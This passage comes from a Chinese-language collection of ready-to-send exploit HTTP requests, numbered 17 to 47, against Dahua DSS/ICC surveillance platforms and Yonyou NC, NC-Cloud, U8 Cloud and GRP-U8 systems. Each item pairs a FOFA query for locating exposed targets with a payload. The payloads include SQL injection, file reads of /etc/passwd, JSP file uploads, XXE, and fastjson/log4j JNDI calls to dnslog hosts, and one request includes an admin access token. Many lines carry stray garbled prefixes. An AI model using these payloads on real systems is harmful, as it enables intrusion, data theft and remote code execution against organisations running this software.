3 }1 u; ^' P# Y/ `User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
1 \$ ^+ G" ~# h; d% \Connection: close
Accept: */*
Accept-Language: en
( |0 F3 Z; g1 m6 x  YAccept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
9 h# Q+ K( X6 t/ X# pFOFA：app="dahua-DSS"
/ K, w* u$ [7 xPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, d' v+ i! ]+ i8 DConnection: close
- p' l% ?( ?' Z4 G2 `2 I2 eContent-Length: 345
# u, z; T$ [- \# T5 j+ ~$ lAccept-Encoding: gzip
) D" [+ n9 o0 i8 c1 N
, ^1 K% x& W2 T" N& ^. K4 g<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
3 r5 [/ i! d2 l) Y+ t<s11:Body>
) B4 M& O- ~' |, S    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
" b: z; Y9 \) |      </netMarkings>
    </ns1:deleteBulletin>
$ ?- K' j; O, N+ L  </s11:Body>
$ I7 m2 J3 [0 t: K3 |( Z* j: q</s11:Envelope>
3 S$ [0 N$ ]3 _+ n
/ ^2 ]4 K* _1 p) h% R/ d4 t
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
3 ?2 i: f0 X" TFOFA：app="dahua-DSS"
, d# B' `  k& w3 K- WGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
  ?. s/ G2 }, L: tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


/ v% G# _! s; A0 d$ @9 ~7 H
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
8 s3 Q, y* z& p# a: ~GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
8 W/ Y9 d& V( x  k7 e4 I. {9 mHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 H. J/ c2 f& w' [. p
# I# q/ Z7 Y/ O+ P
0 n7 E1 k& v# d9 A8 u: t7 k6 H20. 大华ICC智能物联综合管理平台任意文件读取
" b  w& \  E1 c1 mFOFA：body="*客户端会小于800*"
) c5 s" A% v/ dGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
& b: _! l  s! lHost: x.x.x.x
+ e+ o( K& h$ [/ m$ H' a# B7 NUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% l$ |0 D( @5 C7 sConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
& c  R) f/ M6 G6 e# t, j7 U

21. 大华ICC智能物联综合管理平台random远程代码执行
8 p' B% N: T1 {4 e+ D+ [FOFA：icon_hash="-1935899595"
- K6 F# Y( ^, n# X" a! jPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
  J% m1 w0 V# X7 e0 e' P7 hHost: x.x.x.x
: g5 A+ F8 m  @. j. J6 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
4 j. ], T- [- @. W$ F1 dConnection: close
Content-Type: application/json;charset=utf-8

: R/ {' {, E7 G  M+ G$ ?/ C$ o{
"a":{
" `, h2 r- _6 C9 C: P   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}


+ m5 C: o' s' M* G; ~8 Y) v22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
2 P; t! ^8 q) h7 F. R& pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" q$ V8 T' l0 S7 AContent-Type: application/json;charset=utf-8

) y! U1 \7 D* F* h9 G{
  a1 F4 t: q! U6 Q0 P4 ^"loginName":"${jndi:ldap://dnslog}"
}
: L( j6 f& R) x7 n! j$ m* ^


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
. I0 y3 e# J6 N# \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
! ?! [6 C# x1 L& C+ t4 f3 \/ o& r- [4 h# fAccept-Encoding: gzip
Connection: close
4 R1 j( j3 _, {& l* F! G
{
    "a":{
  |: Y9 P3 {: Q: p$ M" L        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
% w; S6 _3 Q, Y8 E3 u        }""
, p% h) H* P9 h/ c}


24. 用友NC 6.5 accept.jsp任意文件上传
4 I9 \; f/ Q. H. E9 [& Q+ kFOFA：icon_hash="1085941792"
9 n* \5 Q1 A/ K" v' X7 k6 DPOST /aim/equipmap/accept.jsp HTTP/1.1
& y, ]0 \3 x8 d: P* VHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
) t! z0 t  A- J: y6 MContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
" k( T4 L+ B: k# [/ h
, n: y3 U- g3 v( {2 `-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


' N6 h8 w. L0 T/ o$ ^3 c25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
9 x. D+ n, W. m' p. APOST /portal/registerServlet HTTP/1.1
% {/ Z2 i( r8 Y) B! BHost: your-ip
1 p" k9 O9 w# G7 b9 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
1 |, ~7 i7 e+ jAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
8 U" G6 r) P, N3 H' f( ~; SContent-Type: application/x-www-form-urlencoded
4 C6 P0 y: `, [7 x. t( |
! U# Q4 U: p6 J$ E8 \type=1&dsname=ldap://dnslog
; H& r! S4 |# J- r8 o! J0 a- o

+ j4 S5 A) I. h8 c
) V( ^( G) C& d/ Q. q7 S) k26. 用友NC linkVoucher SQL注入
. ~- P6 ]/ ?) |1 U1 W% \. |: tFOFA：app="用友-UFIDA-NC"
* n8 W+ F' Q" |% R( n- q# ^) W" q# t7 @GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 U/ [5 P' J4 p9 zHost: your-ip
6 G# y/ Z! C/ `0 C3 D. r1 \% L3 B. zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* r: B' ]8 m6 l2 }3 |) Y: GAccept-Encoding: gzip, deflate
7 [7 b2 `& V$ M: t! XAccept: */*
Connection: keep-alive
6 F& I) E" y+ N7 Y
( H: R# ?& y2 e, h; J  W
27. 用友 NC showcontent SQL注入
6 H2 b% [# n' x, T2 l) M( {FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
0 n. M% ~2 t0 A. W) R0 d1 Z# cHost: your-ip
: b* U! n  L, _# P  }$ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 @4 N% |! K6 O0 x% LAccept-Encoding: identity
Connection: close
6 ]0 {* p1 C  |Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
! e) e, A0 L4 M, pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
  w) ]) \. Q/ I+ mAccept-Encoding: gzip
5 f) l7 z. U5 J7 W* L
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
. B+ a5 O; W7 vContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 `! i: _) [8 x+ uContent-Type: application/octet-stream

6 M* x$ X: c0 `) y; b, S4 |<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
$ J& k  j0 u0 E! c* y' h

/uapim/static/pages/nc/head.jsp
6 v+ W5 ^% ^* E4 v7 ^& Q" h
29. 用友NC down/bill SQL注入
/ X4 a) D( k! p1 _/ FFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
- @* _* ]" r- o3 ]& KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" ~: w5 Z, R' y. }% CContent-Type: application/x-www-form-urlencoded
$ R2 Q) G6 p% ^2 a( Q2 YAccept-Encoding: gzip, deflate
0 b4 X! \6 E2 k2 p5 y& k3 CAccept: */*
Connection: keep-alive

+ j( y$ p9 G) s/ N  `) n
" [# i) O' D  h0 q30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
6 x) n# Z. x# |+ f, tContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

6 v, H1 `& ~) |- Y6 h/ _! {6 x
4 a6 I$ O/ `1 e3 V31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" Z% T, n# ~( r( e/ U" SHost: host
  x( u7 R) }$ {9 S2 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 D* i6 E# p, u+ e0 JContent-Type: application/x-www-form-urlencoded

  s% D( S5 {+ L" o9 E
5 j4 [7 e+ i4 B+ b0 h: x32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
' ]3 D% [6 y2 H& }FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& z: X4 z+ b" c. H. M+ {7 H) oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ C2 [4 S* w( h' tAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 L' Y# ^: w; s& ^/ W

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 I2 F4 O4 s) C5 M! q' q8 H/ s: nHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 m# u: M, N; f2 v  {9 y( X4 XAccept: */*
9 o3 b8 q. r7 `! F9 |7 _. ]. ~/ VConnection: keep-alive
/ r: b( y6 E7 y- q* S: I
9 a2 V8 L  T. B( Y" W/ c$ D
34. 用友NC warningDetailInfo接口SQL注入
( f9 ^+ H0 }# {. Q' S! @0 a8 m$ P/ EFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) W5 s& d9 i# {1 T, Z; q5 B% ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
/ e3 {: _( ~6 A) X! y0 ?1 |& ?Host: 203.25.218.166:8888
  Z; B. b" S- q" RUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
6 W$ H5 k1 N! F% G, S! U. CContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
3 _( W6 V, R; A1 _& vContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
+ b/ n1 K  \$ y5 D' k2 F) }
6 R/ S4 x- [5 X7 z% t1 l3 u<%out.println(1111*1111);%>
1 I5 C1 z- e& I, O/ n+ X( `! u+ O--fd28cb44e829ed1c197ec3bc71748df0--
1 S3 f0 c& r$ P0 s' J; Y, J

36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
7 Z& Y+ P1 i  t4 d" ]: Q1 _POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
# |3 q& ^; Z. g: U! jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 R- a) t3 e* z! |! C! a1 g5 JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
+ k/ R; ~2 G. N: @Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


) r2 z: h/ y; B) O3 H2 l37. 用友NC-Cloud IUpdateService XXE
8 b. M+ F7 r/ o' B7 Y& WFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
( p6 n, P% m2 M3 _POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
0 x( ~" |/ J% o# y4 ]7 AContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 X7 T5 D& g2 d" n. m" VAccept-Encoding: gzip, deflate
4 Q3 n: J, Y/ \. _Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
. t; M! I2 Z1 ]5 f/ s# e4 M4 z
" k) ~0 j* ^* o( b  J<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
# A, x5 _2 S: d6 v5 k: Q: h0 Z0 H<soapenv:Body>
<iup:getResult>
6 q! Y8 V0 ~9 v$ Y<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
9 R5 D  V. k. H<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
' h0 p, |$ C  a) `# y: {
' j- X4 b+ k/ h! i% E' h1 [8 `9 ^
2 g( r, {3 }+ F4 B4 I
38. 用友U8 Cloud smartweb2.RPC.d XXE
8 k! ?! K4 _$ [( l( g6 GFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
. k1 X: t5 @2 S7 u4 g2 N0 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
1 Q1 m5 H' e/ H' z4 Z- OContent-Length: 260
( n6 j9 N1 y5 }8 K3 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
. j/ Y. Q$ m9 w& q4 Q- A  Y* \0 UAccept-Encoding: gzip, deflate
- t2 a9 a6 s- Z4 z/ N# ~* PAccept-Language: zh-CN,zh;q=0.9
  w' K+ U0 k+ k' B. L5 zConnection: close
Content-Type: application/x-www-form-urlencoded

3 {& N8 m9 \6 U8 X; ^4 A1 [9 i__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
7 h/ p* ^8 A, w& S: d) I
3 o& G4 a4 A+ S+ C3 T3 o
) f$ w! c# k& o! h39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
' W" T1 n9 r7 K6 [, XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
% u5 r  G( i1 zContent-Length: 85
Accept: */*
# j- {; z! x% z- K$ ]6 lAccept-Language: en
) T) F0 G& e7 l# r8 I1 GContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

$ K$ W" h  A6 Husercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" N3 L5 h% b: \) x
/ a" P% i! ^2 H+ [
40. 用友U8-Cloud XChangeServlet XXE
1 l, W9 L9 y( H" KFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
, e9 N& p% @/ fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
; s* E' [& r# F" [/ S' ~' T. I  `
8 ]& @5 J4 S- ~, v& D+ u3 L9 d<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


& T' C2 |5 j5 m& n* R- U- t& Q41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
) Z; [5 K1 S! D5 ^( y. mHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
  ]5 e  r1 S2 i2 i& p& ]Accept-Encoding: gzip
. m! p, \! Q9 H1 VConnection: close
7 E" C2 \/ U  Y& o

42. 用友GRP-U8 SmartUpload01 文件上传
: R4 e, K* o" Y) U2 v( i  gFOFA：app="用友-GRP-U8"
2 N& i- ~) a% d# e  T/ ]2 i5 ZPOST /u8qx/SmartUpload01.jsp HTTP/1.1
$ |% M2 ], P# _3 [Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
" Z3 l2 P- \, Y' e$ j

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
/ _) d; |  B% t- K( `
& u$ k. Y( N8 C43. 用友GRP-U8 userInfoWeb SQL注入致RCE
' [( R; ^1 _1 h* b7 f7 HFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
6 O0 A6 Z. o) H6 T9 B/ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 H7 W- U0 s* k& B0 u7 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) W6 D4 s  x, I: T6 c6 }0 {Accept-Encoding: gzip, deflate
4 b* A) e( @; |$ F% I. RAccept-Language: zh-CN,zh;q=0.9
. r3 m# h2 I( WConnection: close
. _# H8 o7 }' x6 w& zSOAPAction:
' o: W% x! g, k( V6 SContent-Type: text/xml;charset=UTF-8
5 ^' \- h7 V+ Q9 P* d+ y
8 ?7 r/ a% V9 P<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
8 C5 c1 T1 [0 z/ m8 {4 M  p) W   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
' m5 a$ ^7 H/ i, J* V( [1 A         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
% V' a2 q" j( v/ g7 U& s  ]3 i5 {- D      </ser:getUserNameById>
7 Q" ~& y) {- r; {" F' H   </soapenv:Body>
1 O, J) u2 K& Q' Z5 @</soapenv:Envelope>
7 @0 ]2 Q6 e2 _# c' P
+ s/ V, R4 v9 _! ?3 R
8 n& M1 j: I( P# C: ]% d& U& ?44. 用友GRP-U8 bx_dj_check.jsp SQL注入
: z) e/ a/ y: d3 }( L) DFOFA:app="用友-GRP-U8"
( W, v4 h" [' ?GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
8 G& i, q& W" L6 R$ bHost: your-ip
5 Z' @' I6 [, S4 t' o4 B" B; cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
0 e. f6 G0 R! P: m  m5 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 b5 ~5 e8 q0 k1 S4 ?: iAccept-Encoding: gzip, deflate
" x5 A) v( w/ v) r: w" cAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ z9 G  d& ?( P  N  R( d
" w) U7 c6 v% u
9 o5 ~1 H7 M: m8 D7 @% R- B45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
1 R' ~/ ^2 A5 y' B9 V# s6 V, H4 B1 N/ uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
$ K; M3 r% s. e+ \- yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 w! Z" D% |4 r( VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, y5 a; F  G' ?" e" e+ zContent-Type: application/x-www-form-urlencoded
7 r, L8 Q0 o) Y$ Y1 N. D+ a$ ]Accept-Encoding: gzip
" c# y6 k, Y9 d+ d  l, d+ ?
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
9 V* C) G8 k& L& kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 {, m- f: N9 {, N" y, K: _# L8 }
$ P' M& X! C" O5 ?+ d, h% v9 ]
$ U, d+ }: e8 l47. 用友GRP A++Cloud 政府财务云 任意文件读取
5 O0 U) u, y  \5 z  B4 bFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
& I2 j2 l8 Q; V0 n0 ?+ U, G$ C' FUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 f0 O4 h  A9 J6 g+ l8 Y5 r- H$ p3 t/ Z' UAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( f. F- ]  ~( b0 ~% f' Q% iIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
6 |1 O' W0 h- l' c0 n


